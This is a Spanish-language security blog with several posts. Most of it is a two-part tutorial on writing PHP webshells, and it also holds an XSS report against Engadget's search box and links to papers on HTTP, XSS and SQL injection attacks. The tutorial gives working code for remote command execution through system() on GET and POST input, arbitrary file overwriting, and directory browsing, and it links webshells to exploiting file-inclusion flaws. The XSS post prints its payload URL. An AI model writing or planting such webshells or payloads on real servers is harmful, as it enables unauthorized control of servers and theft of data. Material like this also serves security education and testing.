HTTP_al_Descubierto

25. mayo 2010

Hoy os dejo por aqui un buenisimo paper que realizaron dos amigos y que muchos de los que leeis el blog conocereis.

El paper toca ampliamente el tema del HTTP como su mismo nombre indica, os dejo el index y si os interesa , a descargar.

 [-------------Index-------------]
0x01: Introducción al protocolo HTTP
  /.0x01 Estructura de HTTP y sus cabeceras
  /.0x02 Metodos HTTP
0x02: Sniffeo y Modificación de Cabeceras
0x03: Inyectando Código
  /.0x03 CRLF Injecton: Descargas Infectadas (Introducción al HTTP Splitting)
  /.0x04 XSS & SQL injections
  /.0x05 PHP injections
0x04: Enumeración a través de HTTP
  /.0x06 Sacar información con OPTIONS
  /.0x07 Banner Grabbing
  /.0x08 Http Fingerprinting
0x05: Contraataques, Evitando la identificación de nuestro servidor
0x06: Ataques con Metodos
  /.0x9 Creacion y Borrado de ficheros (PUT y DELETE)
  /.0x10 Authorization
0x07: Links de interés & Despedida
[-------------Index-------------]

 

 

Link de descarga:  HTTP_al_Descubierto.pdf (785,19 kb)

 

También informaros de que pronto tendréis en el blog una introducción que tocara por encima varios aspectos del sql injection, y si todo va bien tendréis también junto con el paper una tool que permitirá hacer pruebas sobre esta vulnerabilidad en local. Darnos tiempo que f-labs andamos muy ocupados, tened paciencia y gracias por leernos , un saludo.

 

 

Chipbios

 

Papers

Construcción de WebShells por TheX-C3LL[con su consentimiento] pt2 y final provisional

19. abril 2010

0x04 Editando Archivos


  En íntima relación con el listador que ya hicimos como ejercicio, vamos a crear hoy un script para editar el código fuente de los archivos que tengamos en el servidor (y sobre los cuales tengamos los permisos pertinentes).

En el script para editar, vamos a meter la ruta del archivo a editar a través de una variable tipo GET (la llamaremos edit, para no complicarnos la vida XDD). Despues volcaremos en un textarea el código fuente del archivo, y dentro del textarea será donde modifiquemos el source. Tras esto, cuando le demos a "guardar" mandará por POST el contenido y sobreescribirá el archivo con el nuevo contenido.

Según lo comentado, lo primero será poner una condición IF para ver si está "seteada" la variable $_GET['edit'], y de estarlo, sacamos la ruta del archivo.

Código:

<?php
if(isset($_GET['edit'])){
$active=explode('/',$_GET['edit']);
$active=array_reverse($active);
echo 'Editing: '.$active[0].'<p>';//Mostramos el nombre del archivo que estamos editando


Ahora iniciamos un formulario, en el cual editaremos el código fuente del archivo (para ello previamente debemos de mostrarlo).

Código:

echo '<form action="" method=POST><center>
      <input type=Submit name="editor" value="Save it!">';


Y ahora miramos si está "seteada" la variable POST, de estarlo abrimos el archivo en cuestión y lo sobreescribimos:

Código:

if(isset($_POST['editor'])){ //miramos si tiene contenido la variable y de tenerlo
  @$write=fopen($_GET['edit'],'w+');//abrimos el archivo que metimos por $_GET['edit] en modo w+
  $code=stripslashes($_POST['code']);//Filtramos el codigo, code será la variable del contenido del textarea
  @$ok=fwrite($write,$code);//Sobrescribimos


Una cosa muy útil (por si no os acordais de los permisos del archivo) puede ser implementar en vuestra shell al funcion de Hondamena, o bien comprobar si te deja guardar o no. Si te da error, es que no tienes permisos XD:

Código:

if(!$ok){
  echo '<br><font color=red>Error: You need more Perms</font>';
  }
  else{
  echo '<br><font color=green>DONE!</font>';
  }
  }
  echo '<br>';



Y ahora viene la parte del textarea

Código:

echo '<textarea cols="95" rows="30" name="code">';//Como dije, aqui la variable "code"
@$read=fopen($_GET['edit'],'r');//Abrimos en modo read para ver el source
@$read=fread($read,filesize($_GET['edit']));//Array con contenido
echo htmlentities($read);//Filtramos variable
echo '</textarea>';
echo '</form>';//cerramos form y textarea
exit()
?>


Ahora la cuestión es... todo esto es muy bonito... pero como metemos la ruta y el archivo en $_GET['edit']?. A través del listador Tongue. Tal y como hicisteis para diferenciar directorios de archivos (y como mace por ejemplo añadió una función para "navegar" a través de su shell por todos los directorios), teneis que mostrar un link tipo ?edit=$ruta/$archivo, en vez de mostrar el nombre del archivo únicamente.
  Podeis hacer algo tipo:

Código:

while ($archivo = $directorio->read())
{
  $extension=filetype($ruta.'/'.$archivo);
 if ($extension=="dir"){
echo "<a ";
echo "href=?path=$ruta/$archivo>$archivo</a>)";
}
else {
echo '<a href=?edit=$ruta/$archivo>$archivo</a><br>';


O tambien podeis hacer eso, pero mediante tablas, y que quede al lado de cada archivo un link que ponga href=?path=$ruta/$archivo> [Edit][/url]

 

0x05 Ejecutando comandos

Ahora es cuando hablamos realmente de una "shell". Este capítulo (corto por cierto) va enfocado a la ejecución de comandos en la shell del servidor. Un script muy sencillito sería

Código:

<?php ob_clean; system($_GET['cmd']); ?>


 Si subésemos eso a nuestro servidor con el nombre de shell.php, y le hacemos una petición GET al estilo de: www.ejemplo.es/shell.php?cmd=cd ../; ls -la  . Lo que pasaría es que subiría una carpeta más arriba, y mostraría el contenido de ésta incluyendo información como los permisos de cada archivo/carpeta. 

  Si queremos implementar esto en lo que actualmente podríamos considerar como "listador", podríamos hacer algo al estilo de:

Código:

<?php
if(isset($_GET['cmd'])){
echo '<form method=POST action="?cmd">
<input type=TEXT name=command value="'.$_POST['command'].'">
<input type=submit name=eje value="Execute!">';
echo '</form>';
  if($_POST['command']!="" && isset($_POST['eje'])){
  echo '<textarea cols="100" rows="30">';
  system($_POST['command']);
  echo '</textarea>';
  exit();
    }
exit();
}
?>


Lo que haríamos es crear un formulario, en el cual hay un input, que será donde escribamos nuestros comandos (recordad separar cada comando con ; ). Despues comprueba que si el texto introducido en input es distinto a un espacio, y al mismo tiempo está seteada la variable del "submit" ejecuta los comandos puestos en el input (a través de system()) y vuelca el resultado en un textarea.


Construcción de WebShells por TheX-C3LL[con su consentimiento] pt1

9. abril 2010

A nuestra vuelta a internet , hoy os presentamos la primera parte de un manual de The X-C3LL sobre como crear web shells basicas, el manual fue creado para un foro, y para no alterar su contenido voy a citarlo textualmente de el.

Sin mas dilación:

 

Taller de construcción de WebShells básicas


Saludos!

  Lo prometido es deuda, y aquí estamos con este taller de introducción de cómo construir nuestras propias WebShells "Básicas" (Sin ninguna función especial), para no tener que depender tanto de las construidas por otras personas, ya que algo fundamental en el under es construirte tus propias herramientas y no pedírselas prestadas al vecino  Shocked.

  Así que primero daré explicación sobre qué es una webshell, cómo se pueden usar, y despues ya nos metemos en materia. Como quiero que esto sea lo más interactivo posible, iré poco a poco y esperando a que la gente postee sus ejemplos de cada parte que veamos, y al mismo tiempo ir resolviendo todas las dudas que surjan. Para empezar iros haciendo con algún hosting gratuito que permita correr scripts en PHP para ir trabajando.

  Antes que nada disculparme por mi tardanza, pero estuve desde primeros de mes en Salamanca y en Valladolid, en el primer sitio para buscar residencia, hacer la matrícula etc.

0x00 Definición de WebShell


  Yo por mi parte definiría a una WebShell como un script en PHP, PERL, ASP, etc. que permite a un usuario malintencionado ejecutar comandos y funciones dentro de un servidor. En nuestro caso vamos a ver cómo crear una en PHP.

  El código más simple puede ser ejecutar un único comando dentro del servidor. Para ello nos valemos de la función "System". Así podemos hacer por ejemplo:

Código:

<?php
system("dir");
?>


  Así que en la esencia más pura de la palabra, una WebShell es un código malicioso que permite ejecutar comandos en la Shell del servidor, pero hoy en día las webshells son scripts mucho más complejos que permiten desde listar el contenido de un directorio hasta modificar los archivos que contiene, uploadear exploits, dumpear DB's etc... Es imprescindible llegados a este punto el conocer al dedillo las vulnerabilidades  de Local y Remote File Inclusion, así que buscar en el foro e informaros bien sobre éstas, porque gracias a las webshells vamos a poder explotarlas

 


0x01 Datos Servidor

 

  En mi humilde opinión creo que lo primero que debe de mostrar nuestra webshell es la información del servidor. Un script sencillo parecido a este puede servir:

 

Código:

<?php

$Server=$_SERVER[SERVER_SOFTWARE];
echo "Server: <font color=red>$Server</font>";
echo "<br>";
$OS=php_uname();
echo "More Information of Server: <font color=red>$OS</font>";
echo "<br>";
$server_IP=$_SERVER[SERVER_ADDR];
echo "Server Address: <font color=red>$server_IP</font>";
echo "<br>";
$Lugar_shell=$_SERVER[SCRIPT_FILENAME];
echo "The Shell is in: <font color=red>$Lugar_shell</font>";
echo "<br>";
echo "Dir: <font color=red>";
echo getcwd();
echo "</font>";


?>


  Claro que así es muy "cutre", así que debemos de ir dándole estilo... Yo voy a usar el mismo estilo que una de la shells que construí en su momento, así que en mi caso, el resultado fue este:

 

Código:

<!-- Styles CSS --!>


<STYLE type="text/css">
A:link {
color: white;
text-decoration: none;
}
A:visited {
color: white;
text-decoration: none;
}
A:hover {
text-decoration: none;
cursor: crosshair;
color: red;
}
textarea {
font-family: courier new;
background-color: #282828;
font-size: 10pt;
border: 1px red solid;
color: red;
}
input {
background:#282828;
color:red;
font-family: Courier New;
border: 1px red solid;
}
</STYLE>

<!-- End of Styles || Starting the body --!>




<body style="cursor: crosshair; background: #000000; color: white;">
<font color=white>
<center>
<h1><font face="Courier New"><font color=red>[</font><b>!</b><font color=red>]</font> Av3ng3r Sh3LL <font color=red>[</font><b>!</b><font color=red>]</font></h1><br><font size=2 color=orange>By Vengador de las Sombras</font><br><br>
<div style="bottom: 50%%; width: 80%; left: 23%; right: 7%; top: 28%;
visibility: visible; z-index:10; font-family: Courier New; background-color: #000000; border:1px red dashed; text-decoration: none; text-aling: left;">
<b>
   <center>
       Informacion del Servidor:
</b>
     </center><br><br>
<?php

$Server=$_SERVER[SERVER_SOFTWARE];
echo "Server: <font color=red>$Server</font>";
echo "<br>";
$OS=php_uname();
echo "More Information of Server: <font color=red>$OS</font>";
echo "<br>";
$server_IP=$_SERVER[SERVER_ADDR];
echo "Server Address: <font color=red>$server_IP</font>";
echo "<br>";
$Lugar_shell=$_SERVER[SCRIPT_FILENAME];
echo "The Shell is in: <font color=red>$Lugar_shell</font>";
echo "<br>";
echo "Dir: <font color=red>";
echo getcwd();
echo "</font>";


?>
<br><br>
</div>
</center>
<!-- #End OF Server Info# --!>

 

 

 

 

0x03 Listando Directorios y Archivos

Algo fundamental a la hora de crear una WebShell es el ordenar los directorios de trabajo y los archivos que hay en ellos, con el fin de facilitar la administración dentro del servidor. Para ello nosotros nos vamos a valer de dos Scripts. No voy a explicar detenidamente línea por línea lo que hace el script puesto que ya dije que debíais de llevar una base mínima en PHP, de todas formas si teneis cualquier duda posteadla. De todas formas explicaré que hacen en líneas generales:


Código:
<?php
if($_GET['path']==""){
$jiji=dirname($Lugar_shell);
@$directorio=dir($jiji);
$ruta=$jiji;
}
else{
@$directorio=dir($_GET['path']);
$ruta=$_GET['path'];
}
?>
<?php
$path="$ruta";
$directorio=dir($path);
echo "<br><br>";
while ($archivo = $directorio->read())
{
  $extension=filetype($ruta.'/'.$archivo);
 if ($extension=="dir"){
echo "<font color=red><b>(<a ";
echo "href=?path=$ruta/$archivo>$archivo</a>)</b></font><br>";
}
else {
echo "<tr><td><a href=?edit=$ruta/$archivo>$archivo</a><br></td>";
}
$directorio->close();
echo "<br><br>";
?>
Con este lo que hacemos es mostrar el contenido del directorio actual. Si en el contenido (que se va listando mediante el WHILE) hay otro directorio, se reseña de una manera especial y se le hace "?PATH", en cambio, si se trata de un archivo, al clicar sobre él te llevará a ?edit (para editar). Ésta es una función que veremos el próximo día.

 

Como siempre aclarar que f-labs cuenta con el consentimiento de el autor para publicar el contenido y que este esta enfocado siempre al uso didactico y responsable.La intención de este manual es poder crear nuestras propias web shells para usarlas en local y probar nuestros servidores ya sea fixeando vulnerabilidades o usando las shells de gestor de archivos .

 

Proximamente, la segunda parte del manual.

 

p.d: Seguimos en mantenimiento se recomiendo guardar la entrada si es de interes por posibles perdidas de datos.

mantenimiento

4. febrero 2010

Nuevos problemas con el servidor  que seguramente nos obligaran a cambiar de cms , asique tengan paciencia, pronto esteremos de vuelta.

 

Disculpen las molestias

Source code disclosure,XSS bypassing de filtros,Sql injection introducción al metodo error y cross site printing by The-XC3LL

17. enero 2010
Bien hoy después de estas vacaciones de navidad que todos no hemos tomado, asique para retomar os dejo con unos papers que realizó hace algún tiempo The- XC3LL (como imagináis con todo su permiso) y que son muy interesantes:

 

Source Code Disclosure.pdf (18,13 kb)

SQL Injection_ Introducción al Método del Error.pdf (118,78 kb)

XSS y el Bypassing de Filtros.pdf (90,90 kb)

Cross Site Printing.pdf (59,82 kb)

---------------------------------------------------------------------------------------

Al margen de esto ya aprovecho la entrada para comentaros que el servicio RSS esta activo por fin.

Muchas gracias a todos!

Papers

Engadget XSS Report

27. diciembre 2009

Bien hace ya muchisimo tiempo y por tanto ya esta fixeada la vulnerabilidad, Flabs descubrio un xss en el buscador de  Engadget, un conocido y bajo mi punto de vista , buenisimo blog sobre tecnologia que personalmente sigo a diario.


'########:'##::::::::::'###::::'########:::'######::
##.....:: ##:::::::::'## ##::: ##.... ##:'##... ##:
##::::::: ##::::::::'##:. ##:: ##:::: ##: ##:::..::
######::: ##:::::::'##:::. ##: ########::. ######::
##...:::: ##::::::: #########: ##.... ##::..... ##:
##::::::: ##::::::: ##.... ##: ##:::: ##:'##::: ##:
##::::::: ########: ##:::: ##: ########::. ######::
..::::::::........::..:::::..::........::::......:::
'########::'########:'########:::'#######::'########::'########::'######::
##.... ##: ##.....:: ##.... ##:'##.... ##: ##.... ##:... ##..::'##... ##:
##:::: ##: ##::::::: ##:::: ##: ##:::: ##: ##:::: ##:::: ##:::: ##:::..::
########:: ######::: ########:: ##:::: ##: ########::::: ##::::. ######::
##.. ##::: ##...:::: ##.....::: ##:::: ##: ##.. ##:::::: ##:::::..... ##:
##::. ##:: ##::::::: ##:::::::: ##:::: ##: ##::. ##::::: ##::::'##::: ##:
##:::. ##: ########: ##::::::::. #######:: ##:::. ##:::: ##::::. ######::
..:::::..::........::..::::::::::.......:::..:::::..:::::..::::::......:::

 

Tipo: XSS <script>alert('flabs')<%2Fscript> 

 

Estado : Reportado

Estado fixeo: Reparado

Fecha de reporte: N/D

Fecha descubrimiento: N/D

URL:  http://es.engadget.com/search/?q=<script>alert('flabs')</script>

Comentarios adicionales:  Excelente trato por parte del personal de Engadget 
 Gracias a todos

---------------------------------------------------------------------------------

Fuera del tema del reporte quiero alagar la labor de investigación y el detallazo que ha tenido Engadget regalando una Xbox360 al pobre niño que pudimos ver hace unos días en youtube el cual le llenaban la caja de un xbox con ropa y se la regalaban(sus padres, jugando con sus sentimientos), se podía ver al niño totalmente desilusionado y llorando(no voy a poner el video, si alguien esta interesado , puede ir al blog de Engadget en español y buscarlo si quiere).

Engadget a buscado al niño y le ha regalado una Xbox360, un aplauso para ellos, que buena gente!!!

 

  *Si alguien no esta de acuerdo con el reporte porfavor puede comentarlo en esta entrada.

 

Gracias

 

Chipbios

Reportes

Mantenimiento

21. diciembre 2009

Mañana se empezara un proceso de fixeo del sistema de comentarios que mantendra el blog off durante un periodo indefinido de tiempo

 

Gracias por la espera sentimos las molestias.

 

 

Hasta que consigamos fixear el sistema de comentarios mantendremos la version 1.4.5.

 

 

Se puede comentar en esta version

Bienvenidos

20. diciembre 2009

Bien, comencemos esta entrada para dar la bienvenida a todos los que nos visiten hoy y el resto de días que el blog este online y esperemos que sean muchos.

En segundo lugar F-Labs quiere explicar temas que tienen cierto interés con esta web/blog y  aclarar, algunos aspectos que pueden resultar confusos:

Para todo el que no lo sepa al visitar este blog/web, este es un blog destinado a  la temática de la seguridad web(en el aspecto etico) y la programación, en especial y en general a la informática.

A día de hoy, la web no está todavía operativa por problemas con el servidor y falta de tiempo por qué negarlo (todos andamos ocupados hoy en día).

Y por ultimo informar de que estamos trabajando en un theme para el blog y en el diseño de la web,  y esperamos que dentro de un tiempo este todo operativo. Mientras tanto , usaremos este theme y el blog para informar y publicar información relacionada con la tematica.

La sección de contacto no está aun operativa y tampoco el RSS, tambien estamos trabajando para fixear el sistema de comentarios que da errores.